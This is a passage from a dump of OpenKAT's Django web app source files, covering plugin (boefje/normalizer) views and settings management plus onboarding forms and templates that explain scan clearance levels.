ooi in selected_oois:\n            ooi_object = self.get_single_ooi(pk=ooi)\n\n            if ooi_object.scan_profile and ooi_object.scan_profile.level >= self.plugin.scan_level.value:\n                oois_with_clearance.append(ooi_object)\n            else:\n                oois_without_clearance.append(ooi_object.primary_key)\n\n        return {\"oois_with_clearance\": oois_with_clearance, \"oois_without_clearance\": oois_without_clearance}\n\n    def get_context_data(self, **kwargs):\n        context = super().get_context_data(**kwargs)\n        context[\"plugin\"] = self.plugin.model_dump()\n        self.check_plugin_type()\n        context[\"plugin_settings\"] = self.get_plugin_settings()\n        return context\n\n    def check_plugin_type(self):\n        if self.plugin.type != self.task_type:\n            # It would be nicer if we could redirect, but Django doesn't have an easy way to do that.\n            raise Http404(\"Plugin type does not match url.\")\n\n\nclass NormalizerDetailView(PluginDetailView):\n    template_name = \"normalizer_detail.html\"\n    plugin: Normalizer\n    task_type = \"normalizer\"\n\n    def get_context_data(self, **kwargs):\n        context = super().get_context_data(**kwargs)\n        context[\"breadcrumbs\"] = [\n            {\n                \"url\": reverse(\"katalogus\", kwargs={\"organization_code\": self.organization.code}),\n                \"text\": _(\"KAT-alogus\"),\n            },\n            {\n                \"url\": reverse(\n                    \"normalizer_detail\",\n                    kwargs={\"organization_code\": self.organization.code, \"plugin_id\": self.plugin.id},\n                ),\n                \"text\": self.plugin.name,\n            },\n        ]\n\n        return context\n\n\nclass BoefjeDetailView(PluginDetailView):\n    \"\"\"Detail view for a specific boefje. Shows boefje settings and consumable oois for scanning.\"\"\"\n\n    template_name = \"boefje_detail.html\"\n    limit_ooi_list = 150\n    plugin: Boefje\n    task_type = \"boefje\"\n\n    def get_context_data(self, **kwargs):\n        context = super().get_context_data(**kwargs)\n        context[\"new_variant\"] = self.request.GET.get(\"new_variant\")\n        context[\"variants\"] = self.katalogus_client.get_plugins(oci_image=self.plugin.oci_image)\n\n        for variant in context[\"variants\"]:\n            if variant.created:\n                variant.created = datetime.fromisoformat(variant.created)\n\n        context[\"select_ooi_filter_form\"] = SelectOOIFilterForm\n        if \"show_all\" in self.request.GET:\n            context[\"select_oois_form\"] = SelectOOIForm(\n                oois=self.get_form_consumable_oois(), organization_code=self.organization.code\n            )\n        else:\n            context[\"select_oois_form\"] = SelectOOIForm(\n                oois=self.get_form_filtered_consumable_oois(), organization_code=self.organization.code\n            )\n\n        context[\"breadcrumbs\"] = [\n            {\n                \"url\": reverse(\"katalogus\", kwargs={\"organization_code\": self.organization.code}),\n                \"text\": _(\"KAT-alogus\"),\n            },\n            {\n                \"url\": reverse(\n                    \"boefje_detail\", kwargs={\"organization_code\": self.organization.code, \"plugin_id\": self.plugin.id}\n                ),\n                \"text\": self.plugin.name,\n            },\n        ]\n\n        return context\n\n    def get_form_consumable_oois(self) -> list[tuple[OOIType, ScheduleResponse | None]]:\n        \"\"\"Get all available OOIS that plugin can consume.\"\"\"\n\n        oois = {\n            ooi.primary_key: ooi\n            for ooi in self.octopoes_api_connector.list_objects(\n                self.plugin.consumes, valid_time=datetime.now(timezone.utc), limit=self.limit_ooi_list\n            ).items\n        }\n\n        return self._filter_oois_with_schedules(oois)\n\n    def get_form_filtered_consumable_oois(self) -> list[tuple[OOIType, ScheduleResponse | None]]:\n        \"\"\"Return a list of oois that is filtered for oois that meets clearance level.\"\"\"\n        oois = {\n            ooi.primary_key: ooi\n            for ooi in self.octopoes_api_connector.list_objects(\n                self.plugin.consumes,\n                valid_time=datetime.now(timezone.utc),\n                limit=self.limit_ooi_list,\n                scan_level={level.value for level in ScanLevel if level.value >= self.plugin.scan_level.value},\n            ).items\n        }\n\n        return self._filter_oois_with_schedules(oois)\n\n    def _filter_oois_with_schedules(self, oois: dict[str, OOIType]) -> list[tuple[OOIType, ScheduleResponse | None]]:\n        if not oois:\n            return []\n\n        schedules = self.scheduler_client.post_schedule_search(\n            {\n                \"filters\": [\n                    {\"column\": \"data\", \"field\": \"boefje__id\", \"operator\": \"eq\", \"value\": self.plugin.id},\n                    {\n                        \"column\": \"data\",\n                        \"field\": \"input_ooi\",\n                        \"operator\": \"in\",\n                        \"value\": [o.primary_key for o in oois.values()],\n                    },\n                ]\n            }\n        )\n\n        results: dict[str, tuple[OOIType, ScheduleResponse | None]] = {}\n        # corner case, not all valid Input OOI's might have a schedule\n        # this happens when a boefje is edited (eg, new input types).\n        for ooi in oois.values():\n            results[ooi.primary_key] = (ooi, None)\n\n        for schedule in schedules.results:\n            if \"input_ooi\" in schedule.data:\n                key = schedule.data[\"input_ooi\"]\n                results[key] = (oois[key], schedule)\n\n        return list(results.values())\n"
  },
  {
    "path": "rocky/katalogus/views/plugin_enable_disable.py",
    "content": "import structlog\nfrom django.contrib import messages\nfrom django.http import HttpResponseForbidden, HttpResponseRedirect\nfrom django.shortcuts import redirect\nfrom django.urls.base import reverse\nfrom django.utils.http import url_has_allowed_host_and_scheme\nfrom django.utils.translation import gettext_lazy as _\n\nfrom katalogus.views.mixins import SinglePluginView\n\nlogger = structlog.get_logger(__name__)\n\n\nclass PluginEnableDisableView(SinglePluginView):\n    def post(self, request, *args, **kwargs):\n        plugin_state = kwargs[\"plugin_state\"]\n\n        if plugin_state == \"True\":\n            self.katalogus_client.disable_plugin(self.plugin)\n            messages.add_message(\n                self.request,\n                messages.WARNING,\n                _(\"{} '{}' disabled.\").format(self.plugin.type.title(), self.plugin.name),\n            )\n            redirect_url = request.POST.get(\"current_url\")\n            if url_has_allowed_host_and_scheme(redirect_url, allowed_hosts=None):\n                return HttpResponseRedirect(redirect_url)\n            return HttpResponseForbidden()\n\n        if self.plugin.can_scan(self.organization_member):\n            self.katalogus_client.enable_plugin(self.plugin)\n            messages.add_message(\n                self.request, messages.SUCCESS, _(\"{} '{}' enabled.\").format(self.plugin.type.title(), self.plugin.name)\n            )\n        else:\n            if (\n                self.organization_member.trusted_clearance_level\n                != self.organization_member.acknowledged_clearance_level\n            ):\n                member_clearance_level_text = _(\n                    \"You have not acknowledged your clearance level. \"\n                    \"Go to your profile page to acknowledge your clearance level.\"\n                )\n            elif self.organization_member.max_clearance_level < 0:\n                member_clearance_level_text = _(\n                    \"Your clearance level is not set. Go to your profile page to see your clearance \"\n                    \"or contact the administrator to set a clearance level.\"\n                )\n            else:\n                clearance_level = self.organization_member.max_clearance_level\n\n                member_clearance_level_text = _(\n                    \"Your clearance level is L{}. Contact your administrator to get a higher clearance level.\"\n                ).format(clearance_level)\n\n            messages.add_message(\n                self.request,\n                messages.ERROR,\n                _(\"To enable {} you need at least a clearance level of L{}. \" + member_clearance_level_text).format(\n                    self.plugin.name.title(), self.plugin.scan_level.value\n                ),\n            )\n\n        return redirect(reverse(\"katalogus\", kwargs={\"organization_code\": self.organization.code}))\n"
  },
  {
    "path": "rocky/katalogus/views/plugin_settings_add.py",
    "content": "import structlog\nfrom account.mixins import OrganizationPermissionRequiredMixin\nfrom django.contrib import messages\nfrom django.shortcuts import redirect\nfrom django.urls import reverse\nfrom django.utils.translation import gettext_lazy as _\nfrom django.views.generic import FormView\nfrom httpx import HTTPError\n\nfrom katalogus.forms import PluginSchemaForm\nfrom katalogus.views.mixins import SinglePluginView\n\nlogger = structlog.get_logger(__name__)\n\n\nclass PluginSettingsAddView(OrganizationPermissionRequiredMixin, SinglePluginView, FormView):\n    \"\"\"View to add a general setting for all plugins in KAT-alogus\"\"\"\n\n    template_name = \"plugin_settings_add.html\"\n    permission_required = \"tools.can_set_katalogus_settings\"\n\n    def get_form(self, **kwargs):\n        settings = self.katalogus_client.get_plugin_settings(self.plugin.id)\n\n        # This helps mypy understand that self.plugin_schema can't be None\n        # because of the check in dispatch()\n        assert self.plugin_schema is not None\n\n        return PluginSchemaForm(self.plugin_schema, settings, **self.get_form_kwargs())\n\n    def dispatch(self, request, *args, **kwargs):\n        if self.plugin_schema is None:\n            messages.add_message(\n                self.request,\n                messages.WARNING,\n                _(\"Trying to add settings to boefje without schema\").format(self.plugin.id),\n            )\n            return redirect(self.get_success_url())\n\n        return super().dispatch(request, *args, **kwargs)\n\n    def form_valid(self, form):\n        if form.cleaned_data == {}:\n            messages.add_message(\n                self.request, messages.WARNING, _(\"No changes to the settings added: no form data present\")\n            )\n            return redirect(self.get_success_url())\n\n        try:\n            self.katalogus_client.upsert_plugin_settings(self.plugin.id, form.cleaned_data)\n            messages.add_message(self.request, messages.SUCCESS, _(\"Added settings for '{}'\").format(self.plugin.name))\n        except HTTPError:\n            messages.add_message(self.request, messages.ERROR, _(\"Failed adding settings\"))\n            return redirect(self.get_success_url())\n\n        if \"add-enable\" in self.request.POST:\n            try:\n                self.katalogus_client.enable_plugin(self.plugin)\n            except HTTPError:\n                messages.add_message(self.request, messages.ERROR, _(\"Enabling {} failed\").format(self.plugin.name))\n                return redirect(self.get_success_url())\n\n            messages.add_message(self.request, messages.SUCCESS, _(\"Boefje '{}' enabled.\").format(self.plugin.name))\n\n        return redirect(self.get_success_url())\n\n    def get_context_data(self, **kwargs):\n        context = super().get_context_data(**kwargs)\n        context[\"breadcrumbs\"] = [\n            {\n                \"url\": reverse(\"katalogus\", kwargs={\"organization_code\": self.organization.code}),\n                \"text\": _(\"KAT-alogus\"),\n            },\n            {\n                \"url\": reverse(\n                    \"boefje_detail\", kwargs={\"organization_code\": self.organization.code, \"plugin_id\": self.plugin.id}\n                ),\n                \"text\": self.plugin.name,\n            },\n            {\n                \"url\": reverse(\n                    \"plugin_settings_add\",\n                    kwargs={\n                        \"organization_code\": self.organization.code,\n                        \"plugin_type\": self.plugin.type,\n                        \"plugin_id\": self.plugin.id,\n                    },\n                ),\n                \"text\": _(\"Add settings\"),\n            },\n        ]\n        context[\"plugin_id\"] = self.plugin.id\n        context[\"plugin_type\"] = self.plugin.type\n        context[\"plugin_name\"] = self.plugin.name\n        return context\n\n    def get_success_url(self):\n        return reverse(\n            \"boefje_detail\", kwargs={\"organization_code\": self.organization.code, \"plugin_id\": self.plugin.id}\n        )\n\n    def add_error_notification(self, message):\n        messages.add_message(self.request, messages.ERROR, message)\n"
  },
  {
    "path": "rocky/katalogus/views/plugin_settings_delete.py",
    "content": "import structlog\nfrom account.mixins import OrganizationPermissionRequiredMixin\nfrom django.contrib import messages\nfrom django.http import HttpResponseRedirect\nfrom django.urls import reverse\nfrom django.utils.translation import gettext_lazy as _\nfrom django.views.generic import TemplateView\nfrom httpx import HTTPError, HTTPStatusError, codes\n\nfrom katalogus.views.mixins import SinglePluginView\n\nlogger = structlog.get_logger(__name__)\n\n\nclass PluginSettingsDeleteView(OrganizationPermissionRequiredMixin, SinglePluginView, TemplateView):\n    template_name = \"plugin_settings_delete.html\"\n    permission_required = \"tools.can_set_katalogus_settings\"\n\n    def post(self, request, *args, **kwargs):\n        return self.delete(request, *args, **kwargs)\n\n    def get_context_data(self, **kwargs):\n        context = super().get_context_data(**kwargs)\n\n        context[\"breadcrumbs\"] = [\n            {\n                \"url\": reverse(\"katalogus\", kwargs={\"organization_code\": self.organization.code}),\n                \"text\": _(\"KAT-alogus\"),\n            },\n            {\n                \"url\": reverse(\n                    \"boefje_detail\", kwargs={\"organization_code\": self.organization.code, \"plugin_id\": self.plugin.id}\n                ),\n                \"text\": self.plugin.name,\n            },\n            {\n                \"url\": reverse(\n                    \"plugin_settings_delete\",\n                    kwargs={\n                        \"organization_code\": self.organization.code,\n                        \"plugin_type\": self.plugin.type,\n                        \"plugin_id\": self.plugin.id,\n                    },\n                ),\n                \"text\": _(\"Delete\"),\n            },\n        ]\n        context[\"plugin_id\"] = self.plugin.id\n        context[\"plugin_type\"] = self.plugin.type\n        context[\"plugin_name\"] = self.plugin.name\n        context[\"cancel_url\"] = self.get_success_url()\n        return context\n\n    def get_success_url(self):\n        return reverse(\n            \"boefje_detail\", kwargs={\"organization_code\": self.organization.code, \"plugin_id\": self.plugin.id}\n        )\n\n    def delete(self, request, *args, **kwargs):\n        try:\n            self.katalogus_client.delete_plugin_settings(self.plugin.id)\n            messages.add_message(\n                request, messages.SUCCESS, _(\"Settings for plugin {} successfully deleted.\").format(self.plugin.name)\n            )\n        except HTTPError as e:\n            if isinstance(e, HTTPStatusError) and e.response.status_code == codes.NOT_FOUND:\n                messages.add_message(\n                    request, messages.WARNING, _(\"Plugin {} has no settings.\").format(self.plugin.name)\n                )\n            else:\n                messages.add_message(\n                    request,\n                    messages.ERROR,\n                    _(\"Failed deleting Settings for plugin {}. Check the Katalogus logs for more info.\").format(\n                        self.plugin.name\n                    ),\n                )\n        finally:\n            return HttpResponseRedirect(self.get_success_url())\n"
  },
  {
    "path": "rocky/katalogus/views/plugin_settings_edit.py",
    "content": ""
  },
  {
    "path": "rocky/katalogus/views/plugin_settings_list.py",
    "content": "from typing import Any\n\nfrom django.contrib import messages\nfrom django.utils.translation import gettext_lazy as _\nfrom httpx import HTTPError\n\nfrom katalogus.views.mixins import SinglePluginView\nfrom rocky.paginator import RockyPaginator\n\n\nclass PluginSettingsListView(SinglePluginView):\n    \"\"\"\n    Shows all settings available for a specific plugin (plugin schema settings).\n    \"\"\"\n\n    paginator_class = RockyPaginator\n    paginate_by = 150\n    context_object_name = \"plugin_settings\"\n\n    def get_plugin_settings(self) -> list[dict[str, Any]]:\n        \"\"\"Gets schema setting with additional info of the value of a setting.\"\"\"\n        if not self.organization_member.has_perm(\"tools.can_view_katalogus_settings\"):\n            return []\n        if self.plugin_schema is None:\n            return []\n\n        try:\n            settings = self.katalogus_client.get_plugin_settings(plugin_id=self.plugin.id)\n\n        except HTTPError:\n            messages.add_message(\n                self.request, messages.ERROR, _(\"Failed getting settings for boefje {}\").format(self.plugin.id)\n            )\n            return []\n\n        props = self.plugin_schema.get(\"properties\", [])\n\n        return [\n            {\n                \"name\": prop,\n                \"value\": settings.get(prop),\n                \"required\": self.is_required_field(prop),\n                \"secret\": self.is_secret_field(prop),\n            }\n            for prop in props\n        ]\n"
  },
  {
    "path": "rocky/logging.json",
    "content": "{\n  \"version\": 1,\n  \"disable_existing_loggers\": 0,\n  \"formatters\": {\n    \"default\": {\n      \"format\": \"%(message)s\"\n    }\n  },\n  \"handlers\": {\n    \"console\": {\n      \"class\": \"logging.StreamHandler\",\n      \"formatter\": \"default\",\n      \"level\": \"INFO\",\n      \"stream\": \"ext://sys.stdout\"\n    }\n  },\n  \"root\": {\n    \"level\": \"INFO\",\n    \"handlers\": [\n      \"console\"\n    ]\n  }\n}\n"
  },
  {
    "path": "rocky/manage.py",
    "content": "#!/usr/bin/env python\n\"\"\"Django's command-line utility for administrative tasks.\"\"\"\n\nimport os\nimport sys\n\n\ndef main():\n    \"\"\"Run administrative tasks.\"\"\"\n    os.environ.setdefault(\"DJANGO_SETTINGS_MODULE\", \"rocky.settings\")\n    try:\n        from django.core.management import execute_from_command_line\n    except ImportError as exc:\n        raise ImportError(\n            \"Couldn't import Django. Are you sure it's installed and \"\n            \"available on your PYTHONPATH environment variable? Did you \"\n            \"forget to activate a virtual environment?\"\n        ) from exc\n    execute_from_command_line(sys.argv)\n\n\nif __name__ == \"__main__\":\n    main()\n"
  },
  {
    "path": "rocky/onboarding/__init__.py",
    "content": ""
  },
  {
    "path": "rocky/onboarding/apps.py",
    "content": "from django.apps import AppConfig\n\n\nclass OnboardingConfig(AppConfig):\n    default_auto_field = \"django.db.models.BigAutoField\"\n    name = \"onboarding\"\n"
  },
  {
    "path": "rocky/onboarding/forms.py",
    "content": "from django import forms\nfrom django.contrib.auth import get_user_model\nfrom django.utils.translation import gettext_lazy as _\nfrom tools.forms.settings import SCAN_LEVEL_CHOICES\n\nfrom onboarding.view_helpers import DNS_REPORT_LEAST_CLEARANCE_LEVEL\n\nUser = get_user_model()\n\n\nclass ClearanceLevelSelect(forms.Select):\n    \"\"\"A custom clearance level selection, disabling some clearance levels\"\"\"\n\n    def create_option(self, *args, **kwargs):\n        option = super().create_option(*args, **kwargs)\n        if option.get(\"value\") != DNS_REPORT_LEAST_CLEARANCE_LEVEL:\n            option[\"attrs\"][\"disabled\"] = \"disabled\"\n        return option\n\n\nclass OnboardingSetClearanceLevelForm(forms.Form):\n    level = forms.IntegerField(\n        label=_(\"Clearance level\"),\n        help_text=_(\n            \"The clearance level determines how aggressive the object can be \"\n            \"scanned by plugins. A higher clearance level means more aggressive scans are allowed.\"\n        ),\n        error_messages={\"level\": {\"required\": _(\"Please select a clearance level to proceed.\")}},\n        widget=ClearanceLevelSelect(\n            choices=SCAN_LEVEL_CHOICES, attrs={\"aria-describedby\": _(\"explanation-clearance-level\")}\n        ),\n    )\n\n\nclass OnboardingCreateObjectURLForm(forms.Form):\n    \"\"\"\n    Custom URL field form especially for onboarding. No need of web_url and network object.\n    \"\"\"\n\n    # TODO remove once fields dont show optional and or select fields with *no* options anymore\n    url = forms.URLField(\n        assume_scheme=\"https\",\n        label=\"URL\",\n        label_suffix=\"\",\n        required=True,\n        help_text=_(\"Please enter a valid URL starting with 'http://' or 'https://'.\"),\n        widget=forms.URLInput({\"placeholder\": \"Enter your URL (e.g., https://example.com)\"}),\n    )\n"
  },
  {
    "path": "rocky/onboarding/migrations/__init__.py",
    "content": ""
  },
  {
    "path": "rocky/onboarding/templates/partials/cat_loader.html",
    "content": "{% load i18n %}\n{% load static %}\n\n<div class=\"cat-loader-wrapper\">\n    <div class=\"cat-loader\" aria-hidden=\"true\">\n        <!-- djlint:off H013 -->\n        <img class=\"ear-left\" src=\"{% static \"img/loader/ear_left.svg\" %}\" />\n        <img class=\"ear-right\" src=\"{% static \"img/loader/ear_right.svg\" %}\" />\n        <img class=\"head\" src=\"{% static \"img/loader/head.svg\" %}\" />\n        <img class=\"tail\" src=\"{% static \"img/loader/tail.svg\" %}\" />\n        <img class=\"body\" src=\"{% static \"img/loader/body.svg\" %}\" />\n        <img class=\"line\" src=\"{% static \"img/loader/yarn.svg\" %}\" />\n        <img class=\"ball\" src=\"{% static \"img/loader/ball.svg\" %}\" />\n        <img class=\"paw\" src=\"{% static \"img/loader/paw.svg\" %}\" />\n        <!-- djlint:on -->\n    </div>\n</div>\n"
  },
  {
    "path": "rocky/onboarding/templates/partials/onboarding_header.html",
    "content": "{% load i18n %}\n{% load static %}\n\n<h1>{% translate \"Onboarding\" %}</h1>\n{% include \"partials/stepper.html\" %}\n"
  },
  {
    "path": "rocky/onboarding/templates/partials/step_1_introduction_text.html",
    "content": "{% load i18n %}\n{% load static %}\n\n<h2>{% translate \"Welcome to OpenKAT!\" %}</h2>\n<p>\n    {% blocktranslate trimmed %}\n        Welcome to the onboarding of OpenKAT.\n        We will walk you through some steps to set everything up.\n    {% endblocktranslate %}\n</p>\n<p>\n    {% blocktranslate trimmed %}\n        At the end of this onboarding you have added your first object, created your\n        first DNS report and learned about some basic concepts used within OpenKAT.\n    {% endblocktranslate %}\n</p>\n<p>\n    {% translate \"The full documentation for OpenKAT can be found at:\" %}\n    <a href=\"https://docs.openkat.nl\">https://docs.openkat.nl</a>.\n</p>\n"
  },
  {
    "path": "rocky/onboarding/templates/partials/step_2_organization_text.html",
    "content": "{% load i18n %}\n{% load static %}\n\n<h2>{% translate \"Organization setup\" %}</h2>\n<p>\n    {% blocktranslate trimmed %}\n        Please enter the following organization details.\n        The organization name can be changed later in the interface.\n        The organization code cannot be changed as this is used\n        by the database.\n    {% endblocktranslate %}\n</p>\n"
  },
  {
    "path": "rocky/onboarding/templates/step_10_report.html",
    "content": "{% extends \"layouts/base.html\" %}\n\n{% load i18n %}\n{% load static %}\n\n{% block content %}\n    {% include \"header.html\" with view_type=\"onboarding\" %}\n\n    <main id=\"main-content\">\n        <section>\n            <div>\n                {% include \"partials/onboarding_header.html\" %}\n\n                <h2>{% translate \"Report\" %}</h2>\n                <h3>{% translate \"Boefjes are scanning\" %}</h3>\n                <p>\n                    {% blocktranslate trimmed %}\n                        The enabled Boefjes are running in the background to gather the data for your DNS Report.\n                        This may take a few minutes.\n                    {% endblocktranslate %}\n                </p>\n                <p>\n                    {% blocktranslate trimmed %}\n                        In the meantime you can explore OpenKAT and view your DNS Report\n                        on the Reports page once it has been generated.\n                    {% endblocktranslate %}\n                </p>\n                {% include \"partials/cat_loader.html\" %}\n\n                <form method=\"post\" class=\"inline\">\n                    {% csrf_token %}\n                    <button type=\"submit\" class=\"button\">{% translate \"Continue to OpenKAT\" %}</button>\n                </form>\n            </div>\n        </section>\n    </main>\n{% endblock content %}\n{% block html_at_end_body %}\n    {{ block.super }}\n    <script src=\"{% static \"js/enableButtonTimeout.js\" %}\" nonce=\"{{ request.csp_nonce }}\"></script>\n{% endblock html_at_end_body %}\n"
  },
  {
    "path": "rocky/onboarding/templates/step_1_introduction_registration.html",
    "content": "{% extends \"layouts/base.html\" %}\n\n{% load i18n %}\n{% load static %}\n\n{% block content %}\n    {% include \"header.html\" with view_type=\"onboarding\" %}\n\n    <main id=\"main-content\">\n        <section>\n            {% include \"partials/onboarding_header.html\" %}\n\n            <div>\n                {% include \"partials/step_1_introduction_text.html\" %}\n\n                <a href=\"{% url \"step_2a_organization_setup\" %}\" class=\"button\">{% translate \"Let's get started\" %}</a>\n            </div>\n        </section>\n    </main>\n{% endblock content %}\n"
  },
  {
    "path": "rocky/onboarding/templates/step_1a_introduction.html",
    "content": "{% extends \"layouts/base.html\" %}\n\n{% load i18n %}\n{% load static %}\n\n{% block content %}\n    {% include \"header.html\" with view_type=\"onboarding\" %}\n\n    <main id=\"main-content\">\n        <section>\n            {% include \"partials/onboarding_header.html\" %}\n\n            <div>\n                {% include \"partials/step_1_introduction_text.html\" %}\n\n                <a href=\"{% url \"step_4_trusted_acknowledge_clearance_level\" organization.code %}\"\n                   class=\"button\">{% translate \"Let's get started\" %}</a>\n            </div>\n        </section>\n    </main>\n{% endblock content %}\n"
  },
  {
    "path": "rocky/onboarding/templates/step_2a_organization_setup.html",
    "content": "{% extends \"layouts/base.html\" %}\n\n{% load i18n %}\n{% load static %}\n\n{% block content %}\n    {% include \"header.html\" with view_type=\"onboarding\" %}\n\n    <main id=\"main-content\">\n        <section>\n            {% include \"partials/onboarding_header.html\" %}\n\n            <div>\n                {% include \"partials/step_2_organization_text.html\" %}\n\n                <form novalidate\n                      action=\"{% url \"step_2a_organization_setup\" %}\"\n                      method=\"post\"\n                      class=\"help layout-form\">\n                    {% csrf_token %}\n                    {% translate \"Organization details\" as fieldset_legend %}\n                    {% include \"partials/form/fieldset.html\" with legend=fieldset_legend fields=form %}\n\n                    <button type=\"submit\">{% translate \"Submit\" %}</button>\n                </form>\n            </div>\n        </section>\n    </main>\n{% endblock content %}\n"
  },
  {
    "path": "rocky/onboarding/templates/step_2b_organization_update.html",
    "content": "{% extends \"layouts/base.html\" %}\n\n{% load i18n %}\n{% load static %}\n\n{% block content %}\n    {% include \"header.html\" with view_type=\"onboarding\" %}\n\n    <main id=\"main-content\">\n        <section>\n            {% include \"partials/onboarding_header.html\" %}\n\n            <div>\n                {% include \"partials/step_2_organization_text.html\" %}\n\n                <form novalidate method=\"post\" class=\"help layout-form\">\n                    {% csrf_token %}\n                    {% translate \"Organization details\" as fieldset_legend %}\n                    {% include \"partials/form/fieldset.html\" with legend=fieldset_legend fields=form %}\n\n                    <button type=\"submit\" class=\"ghost\">{% translate \"Submit changes\" %}</button>\n                </form>\n                <a class=\"button\"\n                   href=\"{% url 'step_3_indemnification_setup' organization.code %}\">{% translate \"Continue\" %}</a>\n            </div>\n        </section>\n    </main>\n{% endblock content %}\n"
  },
  {
    "path": "rocky/onboarding/templates/step_3_indemnification_setup.html",
    "content": "{% extends \"layouts/base.html\" %}\n\n{% load i18n %}\n{% load static %}\n\n{% block content %}\n    {% include \"header.html\" with view_type=\"onboarding\" %}\n\n    <main id=\"main-content\">\n        <section>\n            {% include \"partials/onboarding_header.html\" %}\n\n            <div>\n                <h2>{% translate \"Indemnification setup\" %}</h2>\n                {% if indemnification_present %}\n                    <p>{% translate \"Indemnification on the organization is already present.\" %}</p>\n                    <a class=\"button\"\n                       href=\"{% url \"step_4_trusted_acknowledge_clearance_level\" organization.code %}\">{% translate \"Continue\" %}</a>\n                {% else %}\n                    {% include \"partials/form/indemnification_add_form.html\" %}\n\n                {% endif %}\n            </div>\n        </section>\n    </main>\n{% endblock content %}\n"
  },
  {
    "path": "rocky/onboarding/templates/step_4_trusted_acknowledge_clearance_level.html",
    "content": "{% extends \"layouts/base.html\" %}\n\n{% load i18n %}\n{% load static %}\n\n{% block content %}\n    {% include \"header.html\" with view_type=\"onboarding\" %}\n\n    <main id=\"main-content\">\n        <section>\n            {% include \"partials/onboarding_header.html\" %}\n\n            <div>\n                <h2>{% translate \"User clearance level\" %}</h2>\n                <p>\n                    {% blocktranslate trimmed %}\n                        The user clearance level specifies the maximum scan level for security scans and the\n                        maximum clearance level you can assign to objects (e.g. a URL).\n                    {% endblocktranslate %}\n                </p>\n                <h3>{% translate \"Trusted clearance level\" %}</h3>\n                <p>\n                    {% blocktranslate trimmed %}\n                        The administrator assigns a maximum user clearance level to each user.\n                        This will make sure that only trusted users can start more aggressive scans.\n                    {% endblocktranslate %}\n                </p>\n                <h3>{% translate \"Accepted clearance level\" %}</h3>\n                <p>\n                    {% blocktranslate trimmed %}\n                        A user must accept a clearance level, before they perform actions in OpenKAT. Here you may accept the maximum trusted clearance level, as assigned by your administrator. On your user settings page you can choose to lower your accepted clearance level after completing the onboarding.\n                    {% endblocktranslate %}\n                </p>\n                <h3>{% translate \"What is my clearance level?\" %}</h3>\n                {% with tcl=organization_member.trusted_clearance_level acl=organization_member.acknowledged_clearance_level %}\n                    {% if tcl < dns_report_least_clearance_level or tcl < 0 %}\n                        <p>\n                            {% blocktranslate trimmed %}\n                                Unfortunately you cannot continue the onboarding.\n                            </br>\n                            Your administrator has trusted you with a clearance level of <strong>L{{ tcl }}</strong>.\n                        </br>\n                        You need at least a clearance level of <strong>L{{ dns_report_least_clearance_level }}</strong> to scan <strong>{{ ooi }}</strong>\n                    </br>\n                    Contact your administrator to receive a higher clearance.\n                {% endblocktranslate %}\n            </p>\n            <a href=\"{% url \"complete_onboarding\" organization.code %}\"\n               class=\"button ghost\">{% translate \"Skip onboarding\" %}</a>\n        {% elif tcl != acl %}\n            <p>\n                {% blocktranslate trimmed %}\n                    Your administrator has trusted you with a clearance level of <strong>L{{ tcl }}</strong>.\n                </br>\n                You must first accept this clearance level to continue.\n            {% endblocktranslate %}\n        </p>\n        {% blocktranslate asvar btn_text_accept_tcl trimmed %}\n            Accept level L{{ tcl }} clearance and responsibility\n        {% endblocktranslate %}\n        {% include \"partials/single_action_form.html\" with btn_text=btn_text_accept_tcl action=\"accept_clearance\" key=\"member_id\" value=member.id btn_class=\"button\" %}\n\n        <a href=\"{% url \"complete_onboarding\" organization.code %}\"\n           class=\"button ghost\">{% translate \"Skip onboarding\" %}</a>\n    {% else %}\n        <p>\n            {% blocktranslate trimmed %}\n                Your administrator has <strong>trusted</strong> you with a clearance level of <strong>L{{ tcl }}</strong>.\n            {% endblocktranslate %}\n        </p>\n        <div class=\"button-container\">\n            <a href=\"{% url \"step_5_add_scan_ooi\" ooi_type=\"URL\" organization_code=organization.code %}\"\n               class=\"button\">{% translate \"Continue\" %}</a>\n            <a href=\"{% url \"complete_onboarding\" organization.code %}\"\n               class=\"button ghost\">{% translate \"Skip onboarding\" %}</a>\n        </div>\n    {% endif %}\n{% endwith %}\n</div>\n</section>\n</main>\n{% endblock content %}\n"
  },
  {
    "path": "rocky/onboarding/templates/step_5_add_scan_ooi.html",
    "content": "{% extends \"layouts/base.html\" %}\n\n{% load i18n %}\n{% load static %}\n\n{% block content %}\n    {% include \"header.html\" with view_type=\"onboarding\" %}\n\n    <main id=\"main-content\">\n        <section>\n            {% include \"partials/onboarding_header.html\" %}\n\n            <div>\n                <h2>{% translate \"Add an object\" %}</h2>\n                <p>\n                    {% blocktranslate trimmed %}\n                        OpenKAT uses various kinds of objects, like IP addresses, hostnames and URLs. In the onboarding we will add an URL object, such as our vulnerable OpenKAT website: https://mispo.es.\n                    {% endblocktranslate %}\n                </p>\n                <h3>{% translate \"Related objects\" %}</h3>\n                <p>\n                    {% blocktranslate trimmed %}\n                        Most objects have dependencies on the existence of related objects.\n                        For example a URL needs to be connected to a network, hostname,\n                        fqdn (fully qualified domain name) and IP address.\n                        When possible OpenKAT automatically collects and adds these related objects by running scans. Objects can also be manually added.\n                    {% endblocktranslate %}\n                </p>\n                <form novalidate method=\"post\" class=\"help layout-form\">\n                    {% csrf_token %}\n                    {% translate type as fieldset_legend %}\n                    {% include \"partials/form/fieldset.html\" with legend=fieldset_legend fields=form %}\n\n                    <div class=\"button-container\">\n                        <button type=\"submit\">{% translate \"Create object\" %}</button>\n                        <a href=\"{% url \"complete_onboarding\" organization.code %}\"\n                           class=\"button ghost\">{% translate \"Skip onboarding\" %}</a>\n                    </div>\n                </form>\n            </div>\n        </section>\n    </main>\n{% endblock content %}\n"
  },
  {
    "path": "rocky/onboarding/templates/step_6_set_clearance_level.html",
    "content": "{% extends \"layouts/base.html\" %}\n\n{% load i18n %}\n{% load static %}\n\n{% block content %}\n    {% include \"header.html\" with view_type=\"onboarding\" %}\n\n    <main id=\"main-content\">\n        <section>\n            {% include \"partials/onboarding_header.html\" %}\n\n            <div>\n                <h2>{% translate \"Set object clearance level\" %}</h2>\n                <p>\n                    {% blocktranslate trimmed %}\n                        After creating a new object you can set a clearance level for this object. A clearance level determines how aggressive the object can be scanned. A higher clearance level, means that more aggressive scans are allowed.\n                        Clearance levels can always be adjusted later on.\n                    {% endblocktranslate %}\n                </p>\n                <p>\n                    {% blocktranslate trimmed %}\n                        For the onboarding we use a clearance level of L{{ dns_report_least_clearance_level }}, meaning only informational scans are allowed.\n                    {% endblocktranslate %}\n                </p>\n                <form novalidate action=\"\" method=\"post\" class=\"help layout-form\">\n                    {% csrf_token %}\n                    {% include 